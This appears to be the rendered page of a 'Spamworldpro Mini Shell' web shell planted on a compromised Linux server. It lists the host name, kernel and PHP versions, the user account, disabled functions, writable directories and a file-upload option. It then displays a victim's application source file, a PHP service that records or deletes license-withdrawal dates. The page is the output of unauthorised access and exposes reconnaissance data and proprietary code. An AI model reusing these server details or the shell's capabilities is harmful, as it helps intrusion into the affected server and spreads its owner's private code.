Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/Syndicate/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/Syndicate/Services/CouncilService.php
<?php

namespace Corals\Modules\Syndicate\Services;

use Corals\Foundation\Services\BaseServiceClass;


class CouncilService extends BaseServiceClass
{
    public function postStoreUpdate($request, $additionalData)
    {
        $start_date = $request->input('start_withdrawn_license');

        $end_date = $request->input('end_withdrawn_license');

        $council = $this->model;

        if ($start_date && $end_date) {
            $council->certificateBan()->updateOrCreate([
                'user_id' => $council->user_id
            ],
                [
                    'start_withdrawn_license' => $start_date,
                    'end_withdrawn_license' => $end_date,
                    'user_id' => $council->user_id
                ]);
        }

        if ($request->input('withdraw') == 0 && $start_date) {
            $council->certificateBan()->delete();
        }
    }
}

Spamworldpro Mini